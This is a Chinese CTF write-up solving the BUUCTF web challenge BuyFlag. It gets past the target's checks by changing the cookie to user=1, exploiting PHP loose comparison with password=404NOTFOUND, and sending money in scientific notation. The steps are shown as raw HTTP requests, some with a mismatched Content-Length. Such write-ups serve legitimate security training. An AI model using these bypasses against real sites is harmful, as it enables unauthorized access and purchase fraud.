【BUUCTF】[极客大挑战 2019]BuyFlag

熔城Sec

发布于 2026-07-22 20:33:17

800

01、题目简介

题目名称：[极客大挑战 2019]BuyFlag
题目平台：BUUCTF
题目类型：Web

02、 解题步骤

启动并访问靶机

右键查看网页源代码，在代码中发现存在pay.php

访问pay.php

我们进行抓包分析，发现返回包中还存在一串代码

<!--
	~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
	}elseif ($password == 404) {
echo "Password Right!</br>";
	}
}

同时我们在响应头中的Set-Cookie中发现user=0

然后我们将其修改为1后，伪装成Cuiter，并让我们输入密码

password的参数也由反回包的代码定义了，这段代码要求提交一个 password 参数，满足：不能是数字（is_numeric($password) 为假）并且等于 404。所以利用PHP 的松散比较 == 会进行类型转换，当字符串与整数比较时，字符串会被转换为整数，转换规则是从字符串开头取数字部分直到遇到非数字。

POST /pay.php HTTP/1.1
Host: f5d37dc5-fd7e-4b94-8ef8-e1795471f7cc.node5.buuoj.cn:81
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Cookie: user=1
Content-Length: 20

password=404NOTFOUND

接下来就是参照购买价格，在请求体里填写money参数

POST /pay.php HTTP/1.1
Host: f5d37dc5-fd7e-4b94-8ef8-e1795471f7cc.node5.buuoj.cn:81
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Cookie: user=1
Content-Length: 20

password=404NOTFOUND&money=100000000

这里提示Nember lenth is too long，为了绕过我们只需要将moey改成科学计数法就行了

POST /pay.php HTTP/1.1
Host: f5d37dc5-fd7e-4b94-8ef8-e1795471f7cc.node5.buuoj.cn:81
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Cookie: user=1
Content-Length: 20

password=404NOTFOUND&money=1.0e10